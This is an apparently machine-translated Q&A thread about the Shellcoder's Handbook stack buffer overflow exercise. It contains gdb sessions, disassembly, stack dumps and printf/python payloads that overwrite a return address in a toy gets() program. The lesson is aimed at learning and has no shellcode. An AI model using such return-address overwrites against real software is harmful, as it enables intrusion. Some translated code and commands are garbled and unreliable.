堆栈溢出(shellcoders手册)
我在这个例子w.r.t. shellcoder手册(第二版),并有一定的问题,关于这个例子堆栈堆栈溢出(shellcoders手册)
[email protected]:~/pentest# gdb -q sc
Reading symbols from /root/pentest/sc...done.
(gdb) set disassembly-flavor intel
(gdb) list
1 void ret_input(void){
2 char array[30];
3
4 gets(array);
5 printf("%s\n", array);
6 }
7 main(){
8 ret_input();
9
10 return 0;
(gdb) disas ret_input
Dump of assembler code for function ret_input:
0x08048414 <+0>: push ebp
0x08048415 <+1>: mov ebp,esp
0x08048417 <+3>: sub esp,0x24
0x0804841a <+6>: lea eax,[ebp-0x1e]
0x0804841d <+9>: mov DWORD PTR [esp],eax
0x08048420 <+12>: call 0x804832c <[email protected]>
0x08048425 <+17>: lea eax,[ebp-0x1e]
0x08048428 <+20>: mov DWORD PTR [esp],eax
0x0804842b <+23>: call 0x804834c <[email protected]>
0x08048430 <+28>: leave
0x08048431 <+29>: ret
End of assembler dump.
(gdb) break *0x08048420
Breakpoint 1 at 0x8048420: file sc.c, line 4.
(gdb) break *0x08048431
Breakpoint 2 at 0x8048431: file sc.c, line 6.
(gdb) run
Starting program: /root/pentest/sc
Breakpoint 1, 0x08048420 in ret_input() at sc.c:4
4 gets(array);
(gdb) x/20x $esp
0xbffff51c: 0xbffff522 0xb7fca324 0xb7fc9ff4 0x08048460
0xbffff52c: 0xbffff548 0xb7ea34a5 0xb7ff1030 0x0804846b
0xbffff53c: 0xb7fc9ff4 0xbffff548 0x0804843a 0xbffff5c8
0xbffff54c: 0xb7e8abd6 0x00000001 0xbffff5f4 0xbffff5fc
0xbffff55c: 0xb7fe1858 0xbffff5b0 0xffffffff 0xb7ffeff4
(gdb) continue
Continuing.
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDD
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDD
Breakpoint 2, 0x08048431 in ret_input() at sc.c:6
6 }
(gdb) x/20x 0x0bffff51c
0xbffff51c: 0xbffff522 0x4141a324 0x41414141 0x41414141
0xbffff52c: 0x42424242 0x42424242 0x43434242 0x43434343
0xbffff53c: 0x43434343 0x44444444 0x44444444 0xbffff500
0xbffff54c: 0xb7e8abd6 0x00000001 0xbffff5f4 0xbffff5fc
0xbffff55c: 0xb7fe1858 0xbffff5b0 0xffffffff 0xb7ffeff4
(gdb) ^Z
[1]+ Stopped gdb -q sc
[email protected]:~/pentest# printf "AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD\x35\x84\x04\x08" | ./sc
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD5�
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD:�
[email protected]:~/pentest#
我正在48个字节“AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD \ X35 \ X84 \ X04 \ X08”,要重写RET地址,所有的工作。但是,当我试图用从本书的第一版例如i面临着一些问题
[email protected]:~/pentest# gdb -q sc
Reading symbols from /root/pentest/sc...done.
(gdb) disas ret_input
Dump of assembler code for function ret_input:
0x08048414 <+0>: push %ebp
0x08048415 <+1>: mov %esp,%ebp
0x08048417 <+3>: sub $0x24,%esp
0x0804841a <+6>: lea -0x1e(%ebp),%eax
0x0804841d <+9>: mov %eax,(%esp)
0x08048420 <+12>: call 0x804832c <[email protected]>
0x08048425 <+17>: lea -0x1e(%ebp),%eax
0x08048428 <+20>: mov %eax,(%esp)
0x0804842b <+23>: call 0x804834c <[email protected]>
0x08048430 <+28>: leave
0x08048431 <+29>: ret
End of assembler dump.
(gdb)
为什么程序已采取24(十六进制)= 36(十进制),关于阵列字节,但我用48重写36个字节的数组,8个字节的esp和ebp(我怎么知道的),但有钢有4个不明原因的字节
好吧,让我们试试从第一版本改写所有数组功能,在书中他们有“sub & 0x20,%esp”so code is
main(){
int i=0;
char stuffing[44];
for (i=0;i<=40;i+=4)
*(long *) &stuffing[i] = 0x080484bb;
puts(array);
我有 “” 子& 0X24,%ESP”,所以我的代码将是shellcoders'手册
[[email protected] /]# (./adress_to_char;cat) | ./overflow
input
""""""""""""""""""a<u___.input
input
input
和我的结果
[email protected]:~/pentest# (./ad_to_ch;cat) | ./sc
5�h���ل$���������h����4��0��˄
inout
Segmentation fault
[email protected]:~/pentest#
有什么问题的
main(){
int i=0;
char stuffing[48];
for (i=0;i<=44;i+=4)
*(long *) &stuffing[i] = 0x08048435;
puts(array);
结果呢? 我用编译
-fno堆叠保护器-mpreferred堆叠边界= 2
这一列:
为(I = 0;我< = 44; I + = 4);
从最后删除;
。我还假设o
(字母o)而不是0(零)在这里输入错误。
的问题是,你的循环执行;
(又名什么都不做),直到我变大,然后44,然后你执行与i = 44
至极的下一个命令是数组的界限之外,你会得到Segmentation Error
。您应该注意这种类型的错误,因为它几乎不可见,并且它是完全有效的c代码。
我建议你最好通过尝试在GDB中获得溢出缓冲区所需的字节量。我整理了你在你的问题提供并运行它通过GDB来源:
gdb$ r < <(python -c "print('A'*30)")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Inferior 1 (process 29912) exited normally]
(请注意,我用Python创建我的投入,而不是一个编译的C程序这真的不要紧,用你喜欢什么。 )
所以30个字节都可以。让我们尝试一些:
gdb$ r < <(python -c "print('A'*50)")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x41414141
0x41414141 in ??()
gdb$ i r $eip
eip 0x41414141 0x41414141
我们eip
寄存器现在包含0x41414141
,这是ASCII AAAA
。现在,我们就可以逐步检查哪儿,我们必须把价值在我们的缓冲区,更新eip
:
gdb$ r < <(python -c "print('A'*40+'BBBB')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x8004242
0x08004242 in ??()
B
为0x42
。因此,当使用40 A
和四个B
时,我们覆盖了eip
的一半。因此,我们垫42 A
的,然后把价值,我们希望与更新eip
:
gdb$ r < <(python -c "print('A'*42+'BBBB')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x42424242
0x42424242 in ??()
我们得到了完全控制eip
!我们来试试吧。在ret_input
末设置一个断点(因为我重新编译的二进制文件的地址可能会有所不同):
gdb$ dis ret_input
Dump of assembler code for function ret_input:
0x08048404 <+0>: push %ebp
0x08048405 <+1>: mov %esp,%ebp
0x08048407 <+3>: sub $0x38,%esp
0x0804840a <+6>: lea -0x26(%ebp),%eax
0x0804840d <+9>: mov %eax,(%esp)
0x08048410 <+12>: call 0x8048310 <[email protected]>
0x08048415 <+17>: lea -0x26(%ebp),%eax
0x08048418 <+20>: mov %eax,(%esp)
0x0804841b <+23>: call 0x8048320 <[email protected]>
0x08048420 <+28>: leave
0x08048421 <+29>: ret
End of assembler dump.
gdb$ break *0x8048421
Breakpoint 1 at 0x8048421
举个例子,让我们修改eip
所以一旦从ret_input
我们在函数的开头再次最终返回:
gdb$ r < <(python -c "print('A'*42+'\x04\x84\x04\x08')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
--------------------------------------------------------------------------[code]
=> 0x8048421 <ret_input+29>: ret
0x8048422 <main>: push ebp
0x8048423 <main+1>: mov ebp,esp
0x8048425 <main+3>: and esp,0xfffffff0
0x8048428 <main+6>: call 0x8048404 <ret_input>
0x804842d <main+11>: mov eax,0x0
0x8048432 <main+16>: leave
0x8048433 <main+17>: ret
--------------------------------------------------------------------------------
Breakpoint 1, 0x08048421 in ret_input()
我们垫42 A
的,然后的ret_input
地址追加到我们的缓冲区。我们在ret
触发器上的断点。
gdb$ x/w $esp
0xffffd30c: 0x08048404
在堆栈顶部有我们缓冲区的最后一个DWORD - ret_input
的地址。
gdb$ n
0x08048404 in ret_input()
gdb$ i r $eip
eip 0x8048404 0x8048404 <ret_input>
执行下一条指令会将该值从堆栈中弹出并相应地设置eip
。
附注:我推荐this guy的.gdbinit文件。
我已经通过gdb/command promt覆盖了这个源文件,并且需要通过另一个源文件覆盖 'root @ bt:〜/ pentest#printf''“AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD \ x35 \ x84 \ x04 \ x08” 。/ sc' 'AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD5' 'AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD:'' 根@ BT:〜/ pentest#' – theqbit 2012-08-14 13:05:39
我不太清楚你要完成的任务。你能改述你的目标是什么吗? 上传您正在处理的二进制文件可能也是一个好主意,以避免出现差异。 – f00id 2012-08-14 14:06:54
我的目标是通过[this]尝试溢出[我的程序](http://code.google.com/p/example-of-buffer-overflow/downloads/detail?name=sc.c&can=2&q=#makechanges)代码(http://code.google.com/p/example-of-buffer-overflow/downloads/detail?name=ad_to_ch.c&can=2&q=)。感谢您的帮助 – theqbit 2012-08-14 15:04:17
对不起,我的文字错误,只是我手写的代码(更正)。 – theqbit 2012-08-13 15:46:00
所以不是这样。 – 2012-08-14 10:47:26